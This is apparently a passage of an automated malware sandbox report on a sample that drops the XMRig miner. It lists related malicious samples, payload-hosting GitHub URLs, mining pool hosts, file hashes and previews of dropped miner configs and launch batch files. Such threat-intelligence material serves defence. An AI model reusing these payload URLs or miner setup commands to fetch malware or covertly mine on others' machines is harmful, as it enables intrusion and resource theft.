	cr_asm_menu..ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_phshop..ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
github.com	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse	140.82.121.4
	z.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	140.82.121.4
	h.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	140.82.121.4
	174.exe	Get hash	malicious	Xmrig	Browse	140.82.121.3
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	140.82.121.3
	Customer.exe	Get hash	malicious	XWorm	Browse	140.82.121.4
	Solara Bootstrapper.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	Solara.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://github.com/eclipse-ecal/ecal/releases/download/v5.13.3/ecal_5.13.3-win64.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	PO#6100008 Jan04.02.2024.Xls.js	Get hash	malicious	WSHRat, STRRAT	Browse	140.82.121.4
objects.githubusercontent.com	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse	185.199.110.133
	174.exe	Get hash	malicious	Xmrig	Browse	185.199.109.133
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	185.199.111.133
	https://github.com/eclipse-ecal/ecal/releases/download/v5.13.3/ecal_5.13.3-win64.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.199.108.133
	ep_setup.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	ep_setup.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	185.199.108.133
	https://github.com/starise/win11-virtual-desktop-extension/releases/download/1.1.0/VirtualDesktopExtension-1.1.0.msi	Get hash	malicious	Unknown	Browse	185.199.108.133
	in.exe	Get hash	malicious	Babadeda, HTMLPhisher	Browse	185.199.111.133
wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun	174.exe	Get hash	malicious	Xmrig	Browse	206.189.156.69
pool-fr.supportxmr.com	174.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xmr_linux_amd64 (2).elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	Q3pEXxmWAD.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	141.94.96.71
evilbit.pro	174.exe	Get hash	malicious	Xmrig	Browse	104.21.95.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	xCnwCctDWC.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Subscription_Renewal_Invoice_2025_FGHDCS.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	DPlvBkg4aj.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	https://qr.me-qr.com/PVhBu5SR	Get hash	malicious	Unknown	Browse	188.114.97.3
DIGITALOCEAN-ASNUS	https://qr.me-qr.com/pt/E9k76ew	Get hash	malicious	Unknown	Browse	134.122.57.34
	watchdog.elf	Get hash	malicious	Xmrig	Browse	67.205.135.145
	3.elf	Get hash	malicious	Unknown	Browse	157.230.1.137
	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	159.89.102.253
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	167.174.154.107
	http://hockey30.com	Get hash	malicious	Unknown	Browse	134.122.57.34
	https://veryfast.io/?ap=adw&as=g_d_fast_in&dm%5Bads%5D=new_static&dm%5Btype%5D=dis&gad_source=5&gclid=EAIaIQobChMIgp352NzmigMVZAOzAB0wMA8oEAEYASAAEgI_hfD_BwE	Get hash	malicious	Unknown	Browse	167.99.235.203
	http://cdn.statisticline.com	Get hash	malicious	Unknown	Browse	165.22.209.237
	Q1 Statements.html	Get hash	malicious	Unknown	Browse	178.62.32.18
	174.exe	Get hash	malicious	Xmrig	Browse	206.189.156.69
GITHUBUS	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse	140.82.121.4
	z.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	140.82.121.4
	h.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	140.82.121.4
	174.exe	Get hash	malicious	Xmrig	Browse	140.82.121.3
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	140.82.121.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse	140.82.121.4
	Customer.exe	Get hash	malicious	XWorm	Browse	140.82.121.4
	Solara Bootstrapper.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	Solara.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://github.com/eclipse-ecal/ecal/releases/download/v5.13.3/ecal_5.13.3-win64.exe	Get hash	malicious	Unknown	Browse	140.82.121.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	5dFLJyS86S.ps1	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	Purchase Order A2409002.scr.exe	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	Ref#103052.exe	Get hash	malicious	XWorm	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	NEW PURCHASE INQUIRY.scr.exe	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	https://minia.n1tab.com/	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	http://topmarktingplace.com/4vfVEJ42616owhy1324yhmrkkdpck110EVYGTFUNAFUPGFT22589MFQQ17548D10	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133
	http://topmarktingplace.com/4KCrhO42616HeLs1324axlafysauc110UGQLALGLNEZCHJM22589XDWY17548d10	Get hash	malicious	Unknown	Browse	172.67.144.26 140.82.121.4 185.199.110.133

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\xmrig\xmrig-6.22.2\WinRing0x64.sys	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse
	174.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse
	47SXvEQ.exe	Get hash	malicious	Blank Grabber, Xmrig	Browse
	xmr new.exe	Get hash	malicious	Xmrig	Browse
	eth.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	hiwA7Blv7C.exe	Get hash	malicious	Xmrig	Browse
	5fr5gthkjdg71.exe	Get hash	malicious	Quasar, R77 RootKit	Browse
	aAcx14Rjtw.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\chrtrome22.exe.log

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4144
Entropy (8bit):	5.362092442072351
Encrypted:	false
SSDEEP:	96:iqbYqGSI6ozajtIzQ0cxYsAmSvBjwQYrKxmDRtzHeqKkCq10tpDuqDqjq+qs:iqbYqGcRIzQ0JyZtzHeqKkCq10tpDuqM
MD5:	C44BBB53B45AD54426D7114A75BF92F7
SHA1:	6880CC43427F746B2A95991A4227E2AFF730D8BB
SHA-256:	59980AEFCD665E616F6BEA75C32277E8EF14977C20033370623F1FCE78DC904F
SHA-512:	9421173BBC774551C24498720DB0F67459621E832BE265A7527797C14D419D09A0C9986E7ECAE9331D810C3F78645E851E11B321075FD0C5C592500EB8D4578C
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\27947b366dfb4feddb2be787d72ca90d\System.Management.Automation.ni.dll",0..3,"Microsoft.PowerShell.Commands.Diagnostics, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P1706cafe#\37a5ed6e6a6a48d370ee34b13c3e2b37\Microsoft.PowerShell.Commands.Diagnostics.ni.dll",0..3,"System.Configuration.Install, Version=4.0.0.0, Culture=neutral

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_135b2etk.xy1.psm1

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zw0o1iqr.gns.ps1

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Downloads\xmrig.zip

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	2666251
Entropy (8bit):	7.996404011886235
Encrypted:	true
SSDEEP:	49152:u19rSOVxxqtG2008UtSAAL1B36NIldoRV04kjz7NZDT9AQJaMLPkXc0+OHd8HXK/:iASg6UEAEB3JldaV05z7TT9taUk0sCHQ
MD5:	57B7AB5BCE7D5E47FD168E1F0D437D32
SHA1:	050EEAE3E0F0E876F9DA175347B586871D14FE83
SHA-256:	1D903D39C7E4E1706C32C44721D6A6C851AA8C4C10DF1479478EE93CD67301BC
SHA-512:	8CC6E3E0E78F706172A47BEF261E1D73CE882CE531FE51177BA46CEE659128E2115311D348CA07A717FF737E4BC802C7CA4CC57DE716CBE55202B9482B5E2022
Malicious:	false
Preview:	PK........1ucY................xmrig-6.22.2/PK.........ucY=...=...=.......xmrig-6.22.2/benchmark_10M.cmd@echo off.cd /d "%~dp0".xmrig.exe --bench=10M --submit.pause.PK.........ucY....<...<.......xmrig-6.22.2/benchmark_1M.cmd@echo off.cd /d "%~dp0".xmrig.exe --bench=1M --submit.pause.PK.........ucYP.V............xmrig-6.22.2/config.json.V.k.0.~._Q.\eIJ;.[.}....c......_;.n...>...V...@..;...tw.........r...D..u%....jh...P......{...........@.q>.....d......."8=2.....f.zL..y..7[y....o...b.u.\|]...^.4...^x9XO.s.6......ocPo.C@.<...;N.V,...]B7..=..P.....iR.t.`..q..K.....0</Z.....V...,..w...c?.O..+..pt.!.cD.2.e......(...l./.!w....t...sj...0z..r..w.@...x.z.....s..9.1-i GJh&....D.....q&.l..k....\....Z./:....I.1........lwX.`+!..+.....[.s..ABY.Q.@.:.T.Hul&.\|.Q$..7..:\|...k..~....r....iq......2t..\t.....0.....Kpe...^#Z...>......r?..H.[.H.B....Z...._...B.r...r..Z....L.F...{.5O..:....PQ..iw.!H_.4.+1.:0.V.T.9X..p.GV.u...Iwr.._....n......5n...%.;.T...h.n.......A....$..=r=...

C:\xmrig\xmrig-6.22.2\SHA256SUMS

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	748
Entropy (8bit):	4.687094484887319
Encrypted:	false
SSDEEP:	12:luxgnoy/wHIX+XhsYyc+ATPJT5RwR4CRIh7wOtf8CuuS0mzwcHYz4WI9:Kgnoy/qIORG+d5eRdOt1ud0y7WI9
MD5:	C7A209DEE0F5D1C6C3DD496BA22F78AB
SHA1:	1E56F76DDE40B12443C544BD9D0B9BA48960B0B0
SHA-256:	C83B38B121842A02FB910FE260C83CCED6AA90663C2A1626231FF5122850DEE8
SHA-512:	DF57851FFDB741270EB166481768B923ACBF2AA4BF97F18714048CD9CFFF9CBAAAA078C278C3E2057850AC77728423A2C9F701E0084BBF8F94BD7F56B11456DB
Malicious:	false
Preview:	11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5 WinRing0x64.sys.235a64e3520b1c2c27763122b303f78aee8d7c083dfd9f1eb936cd5174383609 benchmark_10M.cmd.d7747e7a3c782009f4ceb6e9c106115876386853929563b509da5258e3968d15 benchmark_1M.cmd.2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec config.json.e73491065d86b1ad69229bb5d2019e08b947e11a2a57adf5c2d9a2b5d8f4acad pool_mine_example.cmd.810614290bdb14d2ddf10f65f8adc988a8272764f2a9e2c378e52fad162da344 rtm_ghostrider_example.cmd.33497c69c21fa96bbc96f1d7f09608e462f8ab22555364977c0bd35fef27bc29 solo_mine_example.cmd.8e70ef38fe14a2ee2848df3d6f7e260d1caf8cfc15de694d678b8af151d62333 start.cmd.d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1 *xmrig.exe.

C:\xmrig\xmrig-6.22.2\WinRing0x64.sys

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: pTVKHqys2h.exe, Detection: malicious, Browse Filename: 174.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 47SXvEQ.exe, Detection: malicious, Browse Filename: xmr new.exe, Detection: malicious, Browse Filename: eth.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hiwA7Blv7C.exe, Detection: malicious, Browse Filename: 5fr5gthkjdg71.exe, Detection: malicious, Browse Filename: aAcx14Rjtw.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\xmrig\xmrig-6.22.2\benchmark_10M.cmd

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.738457731772711
Encrypted:	false
SSDEEP:	3:mKDD3M/PKXD0dAyIgytoyrIJnn:h7dXD0frsoD
MD5:	5BE1C4CACB5AE37C43527E99A097DC7A
SHA1:	1B2F00FEFDE9D601764D5D26D5E0FB2B9F58074C
SHA-256:	235A64E3520B1C2C27763122B303F78AEE8D7C083DFD9F1EB936CD5174383609
SHA-512:	20A9E18BC397FE86514875AF4213A02A5831A27671370849F05C2F3BA048BC29FC41CA96F0CB1CC08AAFF27BBEBF637F30D2EE798CB80ED03080E8C7D8F2D9A1
Malicious:	false
Preview:	@echo off.cd /d "%~dp0".xmrig.exe --bench=10M --submit.pause.

C:\xmrig\xmrig-6.22.2\benchmark_1M.cmd

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.7280729963885095
Encrypted:	false
SSDEEP:	3:mKDD3M/PKXD0dAyIgydsJnn:h7dXD0frZ
MD5:	CBA1927CF6959DC99ECBD0C553E4DB6F
SHA1:	7F2D59CFDF2B0550D22AC54D0B1FA5AC8F8B5F57
SHA-256:	D7747E7A3C782009F4CEB6E9C106115876386853929563B509DA5258E3968D15
SHA-512:	C78AB9B017153C497EF2D0F568ADE265AE9B60238EBDB36D8EF7ECC4D232CD90FD5FDC5B600BB26437466C7300E571B95B4FF92A7F024A981A02196A14D6E3F1
Malicious:	false
Preview:	@echo off.cd /d "%~dp0".xmrig.exe --bench=1M --submit.pause.

C:\xmrig\xmrig-6.22.2\config.json

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3435
Entropy (8bit):	4.0435229723591455
Encrypted:	false
SSDEEP:	48:CtWTHcfLWHW8b9b2lZ9lCfnT1L8njzLn9ocyWokkX7yWokk/w4KD5r:CtWTGyHpT1L8njzLHWDp
MD5:	098F463E92B096A1D7C5CD4AD0322DD7
SHA1:	8D17348EA2A2CCDFE209C831C4CBAAE34FD83D68
SHA-256:	12CD851F0ABE192DEAC7F4FF0A939F6C65D076BD0265FC416E81AC210BF55DFB
SHA-512:	D17860E33CB5650E4EBC374CED09D4F97C3075D09A80FD462DEBCC090DCB0013AD8087795E0629BC8DF84B40343BC2484A0C629BDCB57A899C177DE88F4BB444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\xmrig\xmrig-6.22.2\config.json, Author: Joe Security
Preview:	{. "api": {. "id": null,. "worker-id": null. },. "http": {. "enabled": false,. "host": "127.0.0.1",. "port": 0,. "access-token": null,. "restricted": true. },. "autosave": true,. "background": false,. "colors": true,. "title": true,. "randomx": {. "init": -1,. "init-avx2": -1,. "mode": "auto",. "1gb-pages": false,. "rdmsr": true,. "wrmsr": true,. "cache_qos": false,. "numa": true,. "scratchpad_prefetch_mode": 1. },. "cpu": {. "enabled": true,. "huge-pages": true,. "huge-pages-jit": false,. "hw-aes": null,. "priority": null,. "memory-pool": false,. "yield": true,. "asm": true,. "argon2-impl": null,. "argon2": [0, 1],. "cn": [. [1, 0],. [1, 1]. ],. "cn-heavy": [. [1, 0],. [1, 1]. ],. "cn-lite": [.

C:\xmrig\xmrig-6.22.2\pool_mine_example.cmd

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	4.944208285706554
Encrypted:	false
SSDEEP:	24:knECAL1ACWm4Vw5fP5t59XMaoGaK8IZAR0x+FcU71Mtzkz7CQhvvFIVV+XD/Ve:8ErG58pPS5GapIWG+Fcc1Vz7LhvvMVwM
MD5:	2E737F5C3AF9C8AA5216DFDC5BE02CC6
SHA1:	05FE2040AEA6F6CFF25DEAF5CA2CA6793FAA64C7
SHA-256:	E73491065D86B1AD69229BB5D2019E08B947E11A2A57ADF5C2D9A2B5D8F4ACAD
SHA-512:	CE0E12A544623458F5905EA20F2B6F0E75CFB57ADD912290FBF2611EDDBE98DE7FFED3C9E650747967B2620E5EBBE33E249CBD60E7032BDB10C909CC516709CA
Malicious:	false
Preview:	:: Example batch file for mining Monero at a pool.::.:: Format:.::.xmrig.exe -o <pool address>:<pool port> -u <pool username/wallet> -p <pool password>.::.:: Fields:.::.pool address..The host name of the pool stratum or its IP address, for example pool.hashvault.pro.::.pool port ..The port of the pool's stratum to connect to, for example 3333. Check your pool's getting started page..::.pool username/wallet .For most pools, this is the wallet address you want to mine to. Some pools require a username.::.pool password ..For most pools this can be just 'x'. For pools using usernames, you may need to provide a password as configured on the pool..::.:: List of Monero mining pools:.::.https://miningpoolstats.stream/monero.::.:: Choose pools outside of top 5 to help Monero network be more decentralized!.:: Smaller pools also often have smaller fees/payout limits...cd /d "%~dp0".xmrig.exe -o xmrpool.eu:3333 -u 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdU

C:\xmrig\xmrig-6.22.2\rtm_ghostrider_example.cmd

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1220
Entropy (8bit):	4.575573022986975
Encrypted:	false
SSDEEP:	24:knTXzrL1ACvs4VYt5ONwvoGsPZAR0x+FcVtUtzH37CQhvvPI5E9c6I5E/Ywke:8T3G4HWPnwGsPWG+FcVK7LhvvPOMOoNt
MD5:	3F0155ABE745BE1F6089EAFC4F517AC8
SHA1:	277F510CEB62B277B141D094C82EEDEBDC6F3A35
SHA-256:	810614290BDB14D2DDF10F65F8ADC988A8272764F2A9E2C378E52FAD162DA344
SHA-512:	8DEF46852A962FF5DBED94E01F8D23019EF401A718D9C5A440D12B2FFA369539BE328F165F68CCC2098CD5E5C939BCB5F784F877BDD7B9D939393BBD2229D19E
Malicious:	false
Preview:	:: Example batch file for mining Raptoreum at a pool.::.:: Format:.:: xmrig.exe -a gr -o <pool address>:<pool port> -u <pool username/wallet> -p <pool password>.::.:: Fields:.:: pool address The host name of the pool stratum or its IP address, for example raptoreumemporium.com.:: pool port The port of the pool's stratum to connect to, for example 3333. Check your pool's getting started page..:: pool username/wallet For most pools, this is the wallet address you want to mine to. Some pools require a username.:: pool password For most pools this can be just 'x'. For pools using usernames, you may need to provide a password as configured on the pool..::.:: List of Raptoreum mining pools:.:: https://miningpoolstats.stream/raptoreum.::.:: Choose pools outside of top 5 to help Raptoreum network be more decentralized!.:: Smaller pools also often have smaller fees/payout limits...cd /d "%~dp0".:: Use this command line to conne

C:\xmrig\xmrig-6.22.2\solo_mine_example.cmd

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	821
Entropy (8bit):	5.147610259279037
Encrypted:	false
SSDEEP:	24:knTC6jGoTcC6gaO8oAZvfa6Tz7nR7O+ORxAIHnV+XD/X:8TdNAzOr0a6Tz7nR7OhzVwX
MD5:	090703E56F46330ED625AC4363C9D25C
SHA1:	6CE0B265E0860F1913F4BB37A17AA7EDA88641C5
SHA-256:	33497C69C21FA96BBC96F1D7F09608E462F8AB22555364977C0BD35FEF27BC29
SHA-512:	1CD8C43287508C9393300D5A22C565D2F4BD98493A203112FD727518A4E439EB74035D18FE1F52E2D3594305A841CA93FCD0E3C61634F0992CFD3FC253872F19
Malicious:	false
Preview:	:: Example batch file for mining Monero solo.::.:: Format:.::.xmrig.exe -o <node address>:<node port> -a rx/0 -u <wallet address> --daemon.::.:: Fields:.::.node address..The host name of your monerod node or its IP address. It can also be a public node with RPC enabled, for example node.xmr.to.::.node port ..The RPC port of your monerod node to connect to, usually 18081..::.wallet address..Check your Monero CLI or GUI wallet to see your wallet's address..::.:: Mining solo is the best way to help Monero network be more decentralized!.:: But you will only get a payout when you find a block which can take more than a year for a single low-end PC...cd /d "%~dp0".xmrig.exe -o YOUR_NODE_IP:18081 -a rx/0 -u 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD --daemon.pause.

C:\xmrig\xmrig-6.22.2\start.cmd

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.42511855035714
Encrypted:	false
SSDEEP:	3:mKDDVBF//IyXQdAoWQIv:hyEQzIv
MD5:	EAF3A00CC0465F8AF471B849ADA29843
SHA1:	3042E97874706189AA9704D77C9E74A94E519106
SHA-256:	8E70EF38FE14A2EE2848DF3D6F7E260D1CAF8CFC15DE694D678B8AF151D62333
SHA-512:	56B9F3991AE4BAD5E06097D095931E746E6B2AC955649A5C793D9F4F6861C6FFC9316B063C34D7A8079AF201354C87BF3008BC0FD4321E59B27E1D8120B078CF
Malicious:	false
Preview:	@echo off..cd /d "%~dp0"..xmrig.exe..pause..

C:\xmrig\xmrig-6.22.2\xmrig.exe

Download File

Process:	C:\Users\user\Desktop\chrtrome22.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6412800
Entropy (8bit):	6.624511627494028
Encrypted:	false
SSDEEP:	98304:JtRK2Xvf49fuI0nBkLuFvJr4XGCkc/zF2fz5IZ4ePzpS+KdbjrD/6K+TU3nA:I2Xv42VKzYz6Z4qSndf3D+TU3A
MD5:	F6D520AE125F03056C4646C508218D16
SHA1:	F65E63D14DD57EADB262DEAA2B1A8A965A2A962C
SHA-256:	D2FCF28897DDC2137141D838B734664FF7592E03FCD467A433A51CB4976B4FB1
SHA-512:	D1EC3DA141CE504993A0CBF8EA4B719FFA40A2BE4941C18FFC64EC3F71435F7BDDADDA6032EC0AE6CADA66226EE39A2012079ED318DF389C7C6584AD3E1C334D
Malicious:	true
